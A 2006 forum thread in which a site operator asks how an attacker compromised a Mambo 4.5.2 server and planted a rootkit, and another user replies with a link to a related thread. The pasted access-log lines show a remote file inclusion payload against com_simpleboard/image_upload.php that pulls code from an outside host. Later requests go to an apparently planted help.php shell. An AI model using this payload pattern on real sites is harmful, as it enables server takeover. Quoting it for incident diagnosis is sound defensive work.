Mambo 4.5.2 image_upload.php (unsecure)

[garthfield]

Hello,

One of our user's installed Mambo 4.5.2 which was subsequently hacked and the attacker uploaded a rootkit to /tmp and took control of the server. The attacker used the http://Anonymouse.org website to post files to the server.

Looking at the access_log entries for the attack below how was the attacker allowed to execute the files he had uploaded?

Is this a known exploit to the mambo community? and has this been fixed in llater releases?

Garthfield

85.195.119.22 - - [11/Jul/2006:23:53:00 +0100] "GET /components/com_simpleboard/image_upload.php/image_upload.php?sbp=http://www.bellos.se/components/com_user/robots.txt? HTTP/1.0" 200 37830 "-" "http://Anonymouse.org/ (Unix)"
85.195.119.22 - - [11/Jul/2006:23:53:33 +0100] "POST /components/com_simpleboard/image_upload.php/image_upload.php?sbp=http://www.bellos.se/components/com_user/robots.txt? HTTP/1.0" 200 35670 "-" "http://Anonymouse.org/ (Unix)"
85.195.119.22 - - [11/Jul/2006:23:53:58 +0100] "POST /components/com_simpleboard/image_upload.php/image_upload.php?sbp=http://www.bellos.se/components/com_user/robots.txt? HTTP/1.0" 200 34775 "-" "http://Anonymouse.org/ (Unix)"
85.195.119.22 - - [11/Jul/2006:23:55:18 +0100] "POST /components/com_simpleboard/image_upload.php/image_upload.php?sbp=http://www.bellos.se/components/com_user/robots.txt? HTTP/1.0" 200 37950 "-" "http://Anonymouse.org/ (Unix)"
85.195.119.22 - - [11/Jul/2006:23:55:41 +0100] "POST /components/com_simpleboard/image_upload.php/image_upload.php?sbp=http://www.bellos.se/components/com_user/robots.txt? HTTP/1.0" 200 37950 "-" "http://Anonymouse.org/ (Unix)"
85.195.119.22 - - [11/Jul/2006:23:55:48 +0100] "GET /components/com_simpleboard/image_upload.php/image_upload.php?sbp=http://www.bellos.se/components/com_user/robots.txt? HTTP/1.0" 200 46 "-" "http://Anonymouse.org/ (Unix)"
85.195.119.22 - - [11/Jul/2006:23:56:02 +0100] "GET /components/com_simpleboard/help.php HTTP/1.0" 200 36685 "-" "http://Anonymouse.org/ (Unix)"
85.195.119.22 - - [12/Jul/2006:00:08:04 +0100] "POST /components/com_simpleboard/help.php HTTP/1.0" 200 2437 "-" "http://Anonymouse.org/ (Unix)"
85.195.119.22 - - [13/Jul/2006:02:53:17 +0100] "POST /components/com_simpleboard/help.php HTTP/1.0" 200 66859 "-" "http://Anonymouse.org/ (Unix)"

[glutton]

http://forum.mamboserver.com/showthread.php?t=82684

This has been covered with some good tips in a few threads recently, try this one for starters.